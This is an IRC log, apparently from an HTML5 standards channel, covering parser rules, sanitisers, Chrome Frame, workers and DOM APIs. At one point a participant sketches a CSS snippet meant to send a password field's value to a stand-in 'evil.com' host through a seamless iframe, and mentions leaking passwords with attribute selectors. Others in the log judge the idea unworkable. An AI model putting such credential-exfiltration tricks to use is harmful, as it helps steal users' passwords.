btw, about scoping elements and formating elements, the browsers fix this in the dom, so usually I dont have to check for that.. and the other edge case I handle is plaintext, (and xmp/script/style at some degree) but I didnt know all those had special treatments

[04:05:01.0000] <sirdarckcat>
let me check

[04:05:02.0000] <sirdarckcat>
9.2 is parsing

[04:06:00.0000] <sirdarckcat>
yeah

[04:06:01.0000] <zcorpan>
if you've read it, it shouldn't come as a surprise that all those elements have special treatments

[04:07:00.0000] <sirdarckcat>
hmmm thanks for the pointerm I miss-readed that

[04:07:01.0000] <sirdarckcat>
I beleived the browser was going to alert on those cases automatically

[04:07:02.0000] <zcorpan>
alert how?

[04:08:00.0000] <sirdarckcat>
well, like trying to put an <li> outside list, or <option>, trying to append an html node inside a <xmp>

[04:08:01.0000] <sirdarckcat>
or trying to append a node inside an image

[04:09:00.0000] <sirdarckcat>
in my tests all browsers didnt allow to do that in the DOM

[04:09:01.0000] <sirdarckcat>
so I just trusted them

[04:09:02.0000] <zcorpan>
i don't follow

[04:10:00.0000] <sirdarckcat>
document.createElement("img").appendChild(document.createElement("p"))

[04:10:01.0000] <sirdarckcat>
oh wait

[04:10:02.0000] <sirdarckcat>
are special parsing rules

[04:10:03.0000] <gsnedders>
What you do through DOM manipulation has no effect on parsing of HTML.

[04:10:04.0000] <erlehmann>
dc ?

[04:11:00.0000] <sirdarckcat>
hmm

[04:11:01.0000] <sirdarckcat>
Im confused

[04:11:02.0000] <sirdarckcat>
"The following HTML elements have varying levels of special parsing rules"

[04:11:03.0000] <annevk2>
/me wonders how much actually would break if HTTP interpreters switched to UTF-8

[04:11:04.0000] <gsnedders>
annevk2: A fair number of password forms

[04:11:05.0000] <sirdarckcat>
where are the special parsing rules?

[04:12:00.0000] <annevk2>
gsnedders, aah, really?

[04:13:00.0000] <annevk2>
gsnedders, they use iso-8859-1?

[04:13:01.0000] <zcorpan>
sirdarckcat: in http://www.whatwg.org/specs/web-apps/current-work/multipage/tokenization.html#tree-construction

[04:13:02.0000] <annevk2>
or more likely windows-1252

[04:13:03.0000] <gsnedders>
annevk2: Yup. I don't it's defined how they cope with stuff outside of that, though it obviously works.

[04:13:04.0000] <gsnedders>
annevk2: Some UAs use ISO-8859-1, others Windows-1252. It doesn't seem to matter for compat which.

[04:16:00.0000] <zcorpan>
sirdarckcat: for a trivial case of special parsing rules, see "address" (which closes <p> but is otherwise like a normal element)

[04:16:01.0000] <sirdarckcat>
@zcorpan wow, I;ve been in that page before but well.. as I said I just made the wrong assumptions on how the browser accepts or doesnt accept the content of the DOM

[04:18:00.0000] <sirdarckcat>
I'll read the spec more carefully now :)

[04:26:00.0000] <Philip`>
Reading specs carefully is a good idea :-)

[04:26:01.0000] <Philip`>
Well, depending on what spec it is

[04:26:02.0000] <jgraham>
Philip`: Only if you like complaining about them 

[04:26:03.0000] <Philip`>
Some you just need to gather the general concepts from the spec and then trust the details will work themselves out

[04:27:00.0000] <zcorpan>
like HTML+RDFa

[04:28:00.0000] <Philip`>
That's not really a spec, it's just an early draft with lots of acknowledged issues

[04:28:01.0000] <Philip`>
Better to pick on examples that are Recs :-)

[04:28:02.0000] <jgraham>
HTML4

[04:30:00.0000] <sirdarckcat>
oh, btw.. if someone is interested about the project.. evendo it will utlimatelly probably going to be replaced by Mozilla CSP (once and if its implemented by all browsers), its here: http://google.sirdarckcat.net/acs.doc it has more features than CSP, but well heh

[04:31:00.0000] <jgraham>
Oh, that really is a Word document. 

[04:31:01.0000] <jgraham>
Nevermind then, I guess

[04:32:00.0000] <sirdarckcat>
haha.. yes its word.. sorry

[04:33:00.0000] <sirdarckcat>
one guy from mozilla ask me the documentation, I sent him the doc and then he replied "sorry, I dont use MS office".. xD

[04:33:01.0000] <sirdarckcat>
I was tempted to send him a link to openoffice :P but well...

[04:34:00.0000] <zcorpan>
he would probably reply "sorry, I dont use openoffice"

[04:35:00.0000] <Philip`>
You know, there's this document format that works pretty well on the web

[04:35:01.0000] <Philip`>
It even loads directly in a web browser, without requiring you to download hundreds of megabytes of office suite

[04:35:02.0000] <jgraham>
Philip`: Yeah, PDF is great

[04:35:03.0000] <erlehmann>
wat

[04:36:00.0000] <zcorpan>
Silverlight?

[04:36:01.0000] <zcorpan>
or is that not a document format?

[04:36:02.0000] <jgraham>
VRML?

[04:37:00.0000] <erlehmann>
interactive MNG

[04:38:00.0000] <sirdarckcat>
http://docs.google.com/View?id=ddqtfnx3_381fxp3zjf3

[04:38:01.0000] <roc>
zcorpan: the Silverlight/WPF PDF-alike is called XPS

[04:39:00.0000] <Philip`>
I think I was using IE8 on Vista and wanted to print a web page to a file

[04:40:00.0000] <Philip`>
and it had an XPS Writer printer thing

[04:40:01.0000] <Philip`>
so I did that, but I couldn't manage to open the XPS file again

[04:40:02.0000] <Philip`>
It just gave me .NET error messages whenever I tried

[04:41:00.0000] <sirdarckcat>
try openoffice, it can read xps

[04:41:01.0000] <Philip`>
If I remember correctly, it also got confused because it tried opening the XPS in my default browser, which was no IE, and the XPS viewer seems to be embedded in IE or something

[04:41:02.0000] <Philip`>
so I was not entirely impressed, and gave up

[04:42:00.0000] <Philip`>
s/no IE/not IE/

[04:42:01.0000] <Philip`>
sirdarckcat: I'm not downloading hundreds of megabytes of office suite just to view something equivalent to a PDF

[04:43:00.0000] <sirdarckcat>
Microsoft XPS Viewer

[04:43:01.0000] <sirdarckcat>
Download the Microsoft XPS Viewer

[04:43:02.0000] <sirdarckcat>
Download size: 2.8 MB*

[04:43:03.0000] <Philip`>
That's what I was using

[04:43:04.0000] <sirdarckcat>
http://www.microsoft.com/whdc/xps/viewxps.mspx

[04:43:05.0000] <sirdarckcat>
oh

[04:43:06.0000] <sirdarckcat>
:(

[04:43:07.0000] <Philip`>
and it just used the wrong browser and then gave .NET errors

[04:44:00.0000] <zcorpan>
Philip`: clearly it's your fault for using the wrong browser

[04:46:00.0000] <gsnedders>
sirdarckcat: That isn't supported on my OS.

[04:46:01.0000] <sirdarckcat>
http://www.artifex.com/downloads/

[04:46:02.0000] <sirdarckcat>
..

[04:46:03.0000] <sirdarckcat>
haha

[04:46:04.0000] <Philip`>
/me attempts to reproduce

[04:46:05.0000] <Philip`>
Double click on file in Explorer: download dialog pops up in Opera

[04:46:06.0000] <Philip`>
"Open with" is XPSViewer.exe

[04:47:00.0000] <Philip`>
Clicking "Open" opens another download dialog in Opera

[04:47:01.0000] <sirdarckcat>
haha

[04:48:00.0000] <sirdarckcat>
the html5 sanitizer looks very good

[04:48:01.0000] <Philip`>
Pasting the URL into IE spends twenty seconds thrashing the disk (obviously it's competing with Acrobat) and then says "An error occurred in the application you were using" in the normal IE error page style

[04:48:02.0000] <Philip`>
because of a System.Reflection.TargetInvocationException because of a System.UriFormatException

[04:49:00.0000] <Philip`>
because there was a colon (':') present but the port could not be parsed

[04:49:01.0000] <Philip`>
(I guess the URL is "C:\Users\...", because "file:///..." automatically gets converted into that in the address bar)

[04:50:00.0000] <Philip`>
(unless it's just confused by parsing file:///C:/...)

[04:50:01.0000] <Philip`>
So, yes, not a good impression of XPS

[04:50:02.0000] <Philip`>
(and I don't think I've done anything weird on this computer, other than installing browsers and Visual Studio and stuff)

[04:51:00.0000] <Philip`>
sirdarckcat: I think the way the html5lib sanitiser handles attribute values (particularly CSS) is nasty and ugly

[04:52:00.0000] <jgraham>
Yeah the CSS handling is really nasty

[04:52:01.0000] <sirdarckcat>
hmm.. if XP is the bastard child of XD and :P, XPS should have something to do with :S, so that explains it I guess

[04:52:02.0000] <jgraham>
The overall code isn't especially beautiful (the ginat nested if statement)

[04:52:03.0000] <jgraham>
But it seems to work pretty well

[04:52:04.0000] <sirdarckcat>
I'll check it out, but anyway most of the dangerous CSS attributes are gone arent they? url(javascript) expression, moz-binding

[04:54:00.0000] <jgraham>
/me might rewrite it someday

[04:54:01.0000] <Philip`>
It seems like quite a few people actually use the sanitiser for real, so it's seemingly important and useful

[04:55:00.0000] <sirdarckcat>
btw.. have u guys heard about

[04:55:01.0000] <sirdarckcat>
reading HTML attributes with CSS

[04:56:00.0000] <sirdarckcat>
the seamless attribute in iframe just made it more dangerous

[04:59:00.0000] <sirdarckcat>
anyway, I have to go, thanks for your time guys

[04:59:01.0000] <Philip`>
How so?

[04:59:02.0000] <Philip`>
Oh

[05:09:00.0000] <Philip`>
Maybe he means <style>input[type=password] { background-image: "http://evil.com/capture?" attr(value); }</style><iframe seamless src=http://innocent-site.com/autofilled-login></iframe> or something like that

[05:10:00.0000] <Philip`>
which sounds bad if there's not some difficulty I'm missing

[05:11:00.0000] <Philip`>
(I have no idea if that CSS syntax is right, but I assume there's something similar)

[05:12:00.0000] <annevk2>
you cannot use attr inside url()

[05:13:00.0000] <Philip`>
Even without attr, you can do stuff like use selectors to detect whether the password value contains 'a', whether it contains 'b', etc

[05:13:01.0000] <annevk2>
note that seamless only works same-origin

[05:13:02.0000] <Philip`>
(That's what some example in a PowerPoint slide somewhere does)

[05:14:00.0000] <Philip`>
Oh, it does?

[05:14:01.0000] <annevk2>
you cannot do much more than you can do already with JavaScript afaict

[05:14:02.0000] <annevk2>
"Specifically, when the attribute is set on an element and while the browsing context's active document has the same origin as the iframe element's document ..."

[05:14:03.0000] <Philip`>
Sounds like XSS is irrelevant then

[05:15:00.0000] <Philip`>
so that's okay

[05:23:00.0000] <annevk2>
http://twitpic.com/iqyre lol

[05:30:00.0000] <zcorpan>
hmm, the font doesn't work

[05:52:00.0000] <Lachy>
zcorpan, is that X in the top corner the webfonts test?

[05:52:01.0000] <zcorpan>
Lachy: yes

[05:53:00.0000] <zcorpan>
it uses the Ahem font, so the glyph for "X" should be a square that covers the red background

[05:54:00.0000] <Lachy>
that test fails in Chrome as well, so the bug isn't specific to the IE plugin

[05:54:01.0000] <zcorpan>
oh

[05:54:02.0000] <zcorpan>
i thought web fonts worked in chrome

[05:55:00.0000] <Lachy>
might work in Chromium by now, but Chrome 3.0 is failing for me

[05:56:00.0000] <annevk2>
also fails in Chrome nightlies on Ubuntu

[05:57:00.0000] <zcorpan>
it stops at 99 after history navigation

[05:57:01.0000] <zcorpan>
kungFuDeathGrip is null

[05:58:00.0000] <annevk2>
oh, I do get 100/100

[05:59:00.0000] <zcorpan>
i have chromium on mac, though i don't know how often it updates

[06:00:00.0000] <annevk2>
my latest Chromium also goes to 99/100

[08:02:00.0000] <Philip`>
Rik|work: http://code.google.com/chrome/chromeframe/ says it's open-source and they wouldn't lie to us

[08:02:01.0000] <Rik|work>
no, they wouldn't, of course

[08:03:00.0000] <AryehGregor>
(I was really somewhat including the whole open-source ideology in the term "open-source", not just the OSI definition.)

[08:03:01.0000] <Rik|work>
btw, Chrome isn't open source, Chromium is

[08:04:00.0000] <AryehGregor>
Yes, yes, Chrome is only 99% open-source, I know.

[08:04:01.0000] <Philip`>
Rik|work: http://src.chromium.org/svn/trunk/src/chrome_frame/

[08:10:00.0000] <Philip`>
http://src.chromium.org/svn/trunk/src/chrome_frame/utils.cc

[08:11:00.0000] <hsivonen>
/me wonders how HTMLScanner deals with <script> and conditional comments

[08:12:00.0000] <Philip`>
Looks like it just tokenizes and looks for <meta> tags before <body> tags

[08:12:01.0000] <hsivonen>
it would be "fun" for the flowchart if those are handled differently from how IE itself handles X-UA-Compatible

[08:12:02.0000] <hsivonen>
is HTMLScanner an approximative hack or a real tokenizer?

[08:13:00.0000] <Philip`>
It's a hack

[08:13:01.0000] <hsivonen>
"fun"

[08:13:02.0000] <Philip`>
http://src.chromium.org/svn/trunk/src/chrome_frame/html_utils.cc

[08:14:00.0000] <Philip`>
Looks like it's basically splitting strings on spaces and '=' and '/', if I'm not mistaken

[08:14:01.0000] <Philip`>
(which I quite possibly am)

[08:14:02.0000] <Philip`>
when searching for attribute names

[08:15:00.0000] <Philip`>
so presumably it's going to fail on unquoted content=chrome=1

[08:15:01.0000] <hsivonen>
has anyone on this channel happened to analyze how CNN video pages like http://www.cnn.com/video/#/video/offbeat/2009/09/23/wilhelm.ks.50.states.90.secs.kwch put the text in the layout?

[08:16:00.0000] <Philip`>
Oh, also it's going to fail on <meta http-equiv="&#x78;-ua-compatible" content="chrome=1"> because it does string checks for x-ua-compatible first, I think

[08:17:00.0000] <zcorpan>
that's ok because charset meta detection fails for that, too

[08:17:01.0000] <Philip`>
And once it's found the x-ua-compatible content attribute value, it does a case-insensitive check for the substring "chrome="

[08:18:00.0000] <zcorpan>
ascii case-insensitive?

[08:19:00.0000] <Philip`>
I think so

[08:19:01.0000] <Philip`>
but it's whatever Win32 StrStrI does

[08:20:00.0000] <Philip`>
There's also a registry setting which can give a list of "opt-in" URLs to always be rendered with Chrome

[08:20:01.0000] <Philip`>
/me doesn't know who does the opting in, but assumes it's Google

[08:22:00.0000] <zcorpan>
why does a runtime error in a worker fire a ErrorEvent while a runtime error in <script> invokes the onerror function with three arguments?

[08:22:01.0000] <Philip`>
Also, the MIME type isn't (as stated) application/chromeframe, it's application/chromepage

[08:23:00.0000] <hsivonen>
w00t! I get text on CNN again.

[08:23:01.0000] <annevk2>
zcorpan, I believe because implementors didn't want the complexity

[08:24:00.0000] <hsivonen>
woohoo! Live DOM works again too

[08:24:01.0000] <annevk2>
zcorpan, I'd complain :)

[08:24:02.0000] <hsivonen>
Philip`: documentation FTW! Like MSDN :-)

[08:26:00.0000] <Philip`>
hsivonen: Documentation? What documentation?

[08:26:01.0000] <Philip`>
Newsgroup postings are all we get :-)

[08:27:00.0000] <Philip`>
At least Microsoft does actually write technical documentation

[08:34:00.0000] <zcorpan>
annevk2: hmm, actually, workers says to "report the error", which invokes the function with three arguments

[08:35:00.0000] <zcorpan>
annevk2: but then also fires an event if the error was "not handled"

[08:36:00.0000] <zcorpan>
which seems broken

[08:37:00.0000] <zcorpan>
unless i'm missing something

[08:41:00.0000] <Mrmil>
/me thinks "Bloody hell" if Hixie is the only author of whole canvas element.

[08:41:01.0000] <AryehGregor>
Mrmil, he's the only author of the entire HTML5 spec, more or less.

[08:42:00.0000] <Philip`>
You can blame him for everything

[08:42:01.0000] <AryehGregor>
That's the awesome part about a single-editor spec, you always know who to blame.

[08:43:00.0000] <hsivonen>
Mrmil: he has authored the spec text but he didn't design canvas

[08:43:01.0000] <AryehGregor>
It's so hard to hold effective grudges against a whole Working Group or whatever for not reaching consensus to implement your pet change.

[08:43:02.0000] <Mrmil>
Hehehe

[08:44:00.0000] <Mrmil>
hsivonen: aha, looks pretty complex...

[08:45:00.0000] <Mrmil>
Is HTML5 the only canvas api documentation so far?

[08:46:00.0000] <Mrmil>
(HTML5 spec I meant)

[08:46:01.0000] <Philip`>
Apple and Mozilla have documentation, and there's various tutorials and things out there

[08:46:02.0000] <hsivonen>
Mrmil: Apple had docs when they did the first iteration of canvas

[08:47:00.0000] <zcorpan>
i think opera has some canvas tutorials

[08:48:00.0000] <Mrmil>
I'm following this one https://developer.mozilla.org/en/Canvas_tutorial but feel like I don't have legs and arms without having some sort of nice, organised and searchable documentation :)

[08:48:01.0000] <zcorpan>
e.g. http://dev.opera.com/articles/view/html-5-canvas-the-basics/

[08:48:02.0000] <zcorpan>
Mrmil: there's a cheat sheet which might be helpful

[08:49:00.0000] <Mrmil>
zcorpan: cool, you mean on the opera tut site?

[08:49:01.0000] <zcorpan>
no here http://blog.nihilogic.dk/2009/02/html5-canvas-cheat-sheet.html

[08:50:00.0000] <Mrmil>
zcorpan: ok, thx

[08:51:00.0000] <gsnedders>
zcorpan: I can. I won't, at the moment. :P

[08:51:01.0000] <zcorpan>
gsnedders: ok

[08:52:00.0000] <zcorpan>
gsnedders: any progress on web dom core?

[08:52:01.0000] <gsnedders>
zcorpan: I've done no web stuff this month

[08:52:02.0000] <zcorpan>
ok

[08:53:00.0000] <gsnedders>
Heck, I've not been at a computer that much this month

[08:53:01.0000] <gsnedders>
(And no, I'm not writing web dom core tests on paper :P)

[08:53:02.0000] <annevk2>
gsnedders, when are you back?

[08:53:03.0000] <gsnedders>
annevk2: Oct 5th

[08:53:04.0000] <hsivonen>
gsnedders: do you own Web DOM Core now?

[08:54:00.0000] <gsnedders>
hsivonen: I hope I haven't quite made that mistake yet.

[08:54:01.0000] <annevk2>
gsnedders, ah, I'll likely be around then

[08:54:02.0000] <gsnedders>
annevk2: in se?

[08:54:03.0000] <annevk2>
ja

[09:02:00.0000] <jgraham>
Is it me or are Google unusually bad at publishing accurate technical information

[09:21:00.0000] <TabAtkins>
Ooh, only a single spam made it through the filters last night.  Those "you've won 1M british pounds" things are annoyingly good at getting through gmail's filters.

[09:22:00.0000] <gsnedders>
/me wonders what the best uni he could get into is…

[09:22:01.0000] <zcorpan>
hmm, seems i was confusing the WorkerGlobalScope's onerror with the Worker's onerror

[09:24:00.0000] <hsivonen>
I can again say that document.write() is an insane amount of work on top of the parser code

[09:24:01.0000] <zcorpan>
still, having different code in self.onerror and dedicatedworker.onerror seems a bit weird

[09:24:02.0000] <hsivonen>
I now have a setup going where the network stream and document.writes and parsed using separate parser core instances that sync their internal state appropriately

[09:24:03.0000] <jgraham>
gsnedders: Depends if you mean |break in at night" or not

[09:25:00.0000] <gsnedders>
jgraham: not :P

[09:25:01.0000] <hsivonen>
I guess I should now try edge cases...

[09:25:02.0000] <jgraham>
Well I don't recommend breaking in during the day

[09:25:03.0000] <jgraham>
Although possibly if you just walk in and pretend to be a student no one will notice

[09:25:04.0000] <hsivonen>
s/and parsed/are parsed/

[09:25:05.0000] <jgraham>
Especially if you go to lectures but not any at 9am

[09:26:00.0000] <jgraham>
And turn up late

[09:26:01.0000] <gsnedders>
Obviously the solution is to have done better last year…

[09:27:00.0000] <jgraham>
And not to ask questions in IRC channels with unhelpful people in

[09:28:00.0000] <zcorpan>
jgraham: don't end a sentence with a preposition

[09:28:01.0000] <miketaylr>
zcorpan: why wouldn't he want to?

[09:29:00.0000] <miketaylr>
/me kids

[09:29:01.0000] <zcorpan>
jgraham: btw i fixed assertThrows

[09:30:00.0000] <jgraham>
zcorpan: Nice. 

[09:30:01.0000] <jgraham>
/me hasn't looked yet

[09:33:00.0000] <annevk2>
hsivonen, this really gives a perf benefit?

[09:33:01.0000] <annevk2>
/me would think the bottleneck is not parsing

[09:33:02.0000] <hsivonen>
annevk2: dunno yet

[09:34:00.0000] <hsivonen>
this will have sucked pretty big time if it won't

[09:34:01.0000] <hsivonen>
but clearly the people who suggested parsing SVG islands as XML haven't tried doing this

[09:34:02.0000] <annevk2>
parsing is so fast compared to layout and scripting...

[09:35:00.0000] <hsivonen>
annevk2: the idea is to also speculate and start GETs early

[09:35:01.0000] <annevk2>
hsivonen, heh, I never really took that seriously as I was pretty sure it wouldn't work

[09:35:02.0000] <jgraham>
annevk2: Maybe if you have megabytes of SVG inline then parsing will become slow

[09:36:00.0000] <zcorpan>
slower than megabytes of HTML?

[09:37:00.0000] <hsivonen>
I expect the main benefit to come from being able to parse the tail of the document while the main thread waits for an external script to load

[09:37:01.0000] <zcorpan>
i guess fixing up attributes is a bit of an overhead with svg

[09:37:02.0000] <hsivonen>
but I don't have that part yet

[09:37:03.0000] <hsivonen>
zcorpan: the attribute fixup takes no time

[09:37:04.0000] <hsivonen>
zcorpan: it's been paid in RAM footprint

[09:38:00.0000] <zcorpan>
hsivonen: ok, cool

[09:38:01.0000] <jgraham>
zcorpan: I guess misnested formatting elements are the only really slow thing

[09:38:02.0000] <jgraham>
and they're in HTML

[09:40:00.0000] <raggsy>
Hi, question: Is there currently any way of detecting the support of DataTransfer.files in the browser?

[09:41:00.0000] <zcorpan>
raggsy: sure, just check that .files is not undefined

[09:42:00.0000] <raggsy>
zcorpan: to clarify, I mean onload. so that I can provide interface A if available, otherwise interface B.

[09:42:01.0000] <raggsy>
dataTransfer.files comes with the event only as far as I know?

[09:44:00.0000] <zcorpan>
hmm yeah

[09:45:00.0000] <raggsy>
I'm testing dnd from the desktop & uploading via xhr2 and I'd like to provide the interface if the browser supports it, but I can see no way of detecting that without vendor/version sniffing...

[09:46:00.0000] <zcorpan>
i thought maybe you could check the prototype of DataTransfer, but firefox throws

[09:46:01.0000] <zcorpan>
and DataTransfer is undefined in webkit

[09:46:02.0000] <zcorpan>
or maybe i have an old webkit

[09:47:00.0000] <zcorpan>
why does firefox throw? security reasons?

[09:48:00.0000] <zcorpan>
it also throws for Event.prototype

[09:50:00.0000] <zcorpan>
Event.prototype doesn't throw in webkit, though

[09:51:00.0000] <zcorpan>
raggsy: in theory you could check DataTransfer.prototype.files

[09:53:00.0000] <jgraham>
zcorpan: Have you checked it actually defines the properties on the prototype object rather than somewhere odd

[09:53:01.0000] <Philip`>
hsivonen: You should have written the parser and browser in Haskell, so you can simply fork the state before speculatively parsing and throw it all away if a script does something funny

[09:53:02.0000] <zcorpan>
jgraham: how would i check that?

[09:54:00.0000] <gsnedders>
Is it Thursday or Friday today?

[09:55:00.0000] <Philip`>
gsnedders: Yes

[09:55:01.0000] <Rik|work>
depends on your local time I guess

[09:55:02.0000] <gsnedders>
Which day of the week is it currently in UTC+1?

[09:55:03.0000] <zcorpan>
http://isitfriday.biz/

[09:55:04.0000] <Philip`>
gsnedders: Thursday

[09:56:00.0000] <gsnedders>
zcorpan, Philip` Thank you.

[09:56:01.0000] <Philip`>
Glad to be of assistance

[09:59:00.0000] <jgraham>
zcorpan: Seems to be some security reasons, yes

[10:02:00.0000] <raggsy>
zcorpan: sorry you lost me a bit there. Are you & jgraham saying it's due to security reasons that the browser won't reveal if it supports DataTransfer.files before the event?

[10:11:00.0000] <jgraham>
raggsy: Doing "files" in DataTransfer.prototype works

[10:11:01.0000] <jgraham>
(was it obvious which bit of that was code?)

[10:12:00.0000] <jgraham>
if("files" in DataTransfer.prototype) {/*there is a files property*/}

[10:13:00.0000] <jgraham>
What doesn't work is tro try doing if(DataTransfer.prototype.files !== undefined){}

[10:14:00.0000] <raggsy>
jgraham: got it. I was trying typeof and getting nothing back.

[10:52:00.0000] <Hixie>
/me prepares to get depressed

[10:54:00.0000] <othermaciej>
what do you expect to depress you? usability testing?

[10:54:01.0000] <Hixie>
yeah

[10:54:02.0000] <Hixie>
wow you're up early

[10:55:00.0000] <othermaciej>
HTML WG telecon today

[10:57:00.0000] <hsivonen>
Hixie: today is the big day?

[10:57:01.0000] <hsivonen>
the usability test day that is

[10:58:00.0000] <Hixie>
day 1 of 2

[10:58:01.0000] <hsivonen>
Hixie: can you disclose how you recruit participants?

[10:58:02.0000] <Rik|work>
what usability tests ?

[10:59:00.0000] <Hixie>
hsivonen: no idea, actually.

[10:59:01.0000] <Hixie>
hsivonen: we have a recruiting team or something who do that kind of thing

[10:59:02.0000] <Hixie>
hsivonen: we give them some criteria, and they bring back some people

[11:00:00.0000] <Philip`>
Can you disclose the criteria?

[11:00:01.0000] <hsivonen>
Hixie: that's a convenient abstraction :-)

[11:00:02.0000] <Hixie>
Philip`: web developers who know and use CSS, and aren't involved in the html5 development process at all

[13:21:00.0000] <Philip`>
miketaylr: You could write <table><tr><td>Slippery content <!-- | --></table> as a barrier to stop the content looking like it'll slide out easily

[13:21:01.0000] <miketaylr>
:)

[13:21:02.0000] <miketaylr>
or i could just hold my laptop more steadily

[14:25:00.0000] <othermaciej>
Hixie: does HTML5 specify "cut", "copy", "paste" and "beforepaste" events?

[14:36:00.0000] <erlehmann>
ahaha http://evan-roth.com/all-tags.html

[14:38:00.0000] <Philip`>
<!-- Using (almost) all non-depriciated HTML tags from http://www.w3schools.com/tags/default.asp -->

[14:38:01.0000] <Philip`>
That's a good start

[14:39:00.0000] <Dashiva>
<script> kinda ruins it all by itself

[14:42:00.0000] <Steve^>
only 49 validation errors

[14:42:01.0000] <Steve^>
*47

[14:46:00.0000] <Philip`>
Steve^: On validator.nu?

[14:46:01.0000] <Philip`>
That number is meaningless because some errors are masking lots of other errors

[14:58:00.0000] <Steve^>
Philip`, indeed

[15:01:00.0000] <Hixie>
othermaciej: no, it just reuses the drag-and-drop events

[15:02:00.0000] <othermaciej>
Hixie: shouldn't "cut", "copy", "paste" and "beforepaste" be required for implementations at least, for compatibility with existing content?

[15:06:00.0000] <othermaciej>
Hixie: also, even if it makes sense to say everything draggable should be copyable, I don't think it makes sense to require that every time in the UI you can use the Copy command, you can also drag

[15:06:01.0000] <othermaciej>
that's not how native UIs work

[15:07:00.0000] <Hixie>
it's not clear to me how else to make copy and paste work

[15:07:01.0000] <hsivonen>
has anyone yet done a post mortem on how local storage got into so many browsers before the concurrency problems were considered on the current level of detail?

[15:08:00.0000] <othermaciej>
Hixie: how about via the copy/paste events that browsers already support and which are used by content?

[15:21:00.0000] <Philip`>
hsivonen: Maybe the process was something like "Ooh, shiny! *hack* *hack* *hack* *release*"?

[15:28:00.0000] <Hixie>
othermaciej: are those good? it seems like they would encourage authors to only support drag and drop and not copy and paste, since they'd have to implement both to get both.

[15:28:01.0000] <Hixie>
hsivonen: i don't know that there's more to it than Philip` said

[15:28:02.0000] <othermaciej>
Hixie: I don't see how that conclusion follows - one could certainly support copy/paste events while making drag/drop events also work via the copy/paste UI

[15:29:00.0000] <othermaciej>
Hixie: in fact, that is what browsers will have to do anyway if they implement the HTML5 spec as written and choose not to break existing content

[15:29:01.0000] <othermaciej>
Hixie: so it would be nice if there was a spec that describes how it works

[15:29:02.0000] <Hixie>
othermaciej: is there much existing content using the current events? i haven't looked into it much.

[15:29:03.0000] <Hixie>
othermaciej: i guess it's something to add to the list http://wiki.whatwg.org/wiki/Companion_specifications

[15:36:00.0000] <othermaciej>
Hixie: you have to specify how they are sequenced with drag/drop events, if both occur in a copy/paste sequence - seems hard to do in a separate spec

[15:36:01.0000] <Hixie>
probably

[15:36:02.0000] <Hixie>
not gonna happen in html5 :-)

[15:36:03.0000] <Hixie>
happy to do it in the next version though

[15:37:00.0000] <othermaciej>
it's a potential interop problem for implementing what the spec says for drag/drop events

[15:37:01.0000] <othermaciej>
(though I don't know if implementations will actually be willing to hook up drag & drop events to the copy/paste UI)

[15:37:02.0000] <othermaciej>
anyway I'll send email or file a bug or something

[15:38:00.0000] <othermaciej>
I do believe there is significant content using the copy/paste events, but I don't have a quantitative study at hand

[15:39:00.0000] <Philip`>
Would that be stuff like oncopy in http://philip.html5.org/data/attr-count-pages-dotbot.txt (on ~0.1% of pages)?

[15:40:00.0000] <Hixie>
well you have to discount all the cases of pages that are just stopping people from copying

[15:40:01.0000] <Hixie>
or stopping people from pasting (e.g. into password fields)

[15:51:00.0000] <Philip`>
Oh, true

[16:16:00.0000] <zcorpan>
-   <dd>Uses <code><a href=#htmlelement>HTMLElement</a></code>.</dd>

[16:16:01.0000] <zcorpan>
+   <dd>Use <code><a href=#htmlelement>HTMLElement</a></code>.</dd>

[16:17:00.0000] <zcorpan>
Hixie: ^ mistake?

[16:17:01.0000] <Hixie>
no

[16:17:02.0000] <Hixie>
:-)

[16:18:00.0000] <zcorpan>
ah

[16:27:00.0000] <Lachy>
is there anyone from webkit here who can explain why Element.webkitMatchesSelctor() doesn't work in the latest nightly? https://bugs.webkit.org/show_bug.cgi?id=29703 - The bug says it landed in r48723, and I have r48730 installed

[16:28:00.0000] <Lachy>
weinig, ^

[16:28:01.0000] <weinig>
Lachy: hm, not sure

[16:29:00.0000] <weinig>
tries it out

[16:32:00.0000] <weinig>
Lachy: it seems to be working for me in the latest nightly

[16:32:01.0000] <weinig>
/me will upload a test case

[16:34:00.0000] <weinig>
Lachy: what score do you get on https://bug-29703-attachments.webkit.org/attachment.cgi?id=40087 ?

[16:34:01.0000] <weinig>
JohnResig: are you around?

[16:34:02.0000] <Lachy>
99.2%: 2406 passed, 20 failed

[16:34:03.0000] <weinig>
ok, then that is it working

[16:34:04.0000] <Lachy>
it's failing the webkitMatchesSelector tests

[16:35:00.0000] <weinig>
all of them?

[16:35:01.0000] <Lachy>
yes, all 4 of them

[16:36:00.0000] <weinig>
that test has a lot more than 4

[16:36:01.0000] <weinig>
we are failing the "no value" ones

[16:36:02.0000] <Lachy>
ok, then it must be passing the rest.

[16:36:03.0000] <weinig>
yes

[16:36:04.0000] <Lachy>
that's weird. Not working for me in the live dom viewer

[16:37:00.0000] <weinig>
Lachy: odd

[16:38:00.0000] <Lachy>
ah, nevermind. I made a stupid error

[16:39:00.0000] <Lachy>
missed the [0] on the end of getElementsByTagName("p"); so it was trying to do it on the NodeList.

[16:39:01.0000] <weinig>
:)

[16:40:00.0000] <weinig>
Lachy: I used the same rules as querySelector/all with regards to stringifying null/undefined (we do it), throwing on the empty string, and throwing if any of the selectors need namespace resolution

[16:40:01.0000] <zcorpan>
Hixie: is it intended that WorkerGlobalScope's onerror's function is invoked with three arguments (which the spec says, afaict), rather than firing an ErrorEvent at the WorkerGlobalScope (which is what firefox does)?

[16:41:00.0000] <Hixie>
yes

[16:41:01.0000] <Hixie>
like window.onerror

[16:41:02.0000] <weinig>
the only thing we fail on JohnResig's test is that we don't throw when you pass no arguments 

[16:41:03.0000] <weinig>
Lachy: we treat that the same as passing undefined

[16:41:04.0000] <zcorpan>
Hixie: ok

[16:41:05.0000] <weinig>
not sure if that is a bug or not

[16:41:06.0000] <weinig>
but it is the same as qs/qsa

[16:42:00.0000] <Lachy>
I believe it's a bug. I think it should be a WRONG_ARGUMENTS_ERR

[16:44:00.0000] <zcorpan>
Lachy: WRONG_ARGUMENTS_ERR is an opera exception; web idl doesn't define yet what should happen with too few arguments i think

[16:44:01.0000] <zcorpan>
Lachy: html5 used to say to throw NOT_SUPPORTED_ERR but i can't find that anymore

[16:44:02.0000] <weinig>
/me had another question for heycam

[16:46:00.0000] <Lachy>
zcorpan, ok. In any case, the test suite is expecting an exception. Looks like it doesn't check which exception it is. I guess that's why

[16:50:00.0000] <Lachy>
weinig, so, is there any special, non-obvious behaviour for matchesSelector that I need to be careful about when speccing it?

[16:51:00.0000] <weinig>
Lachy: none that I ran into

[16:51:01.0000] <Lachy>
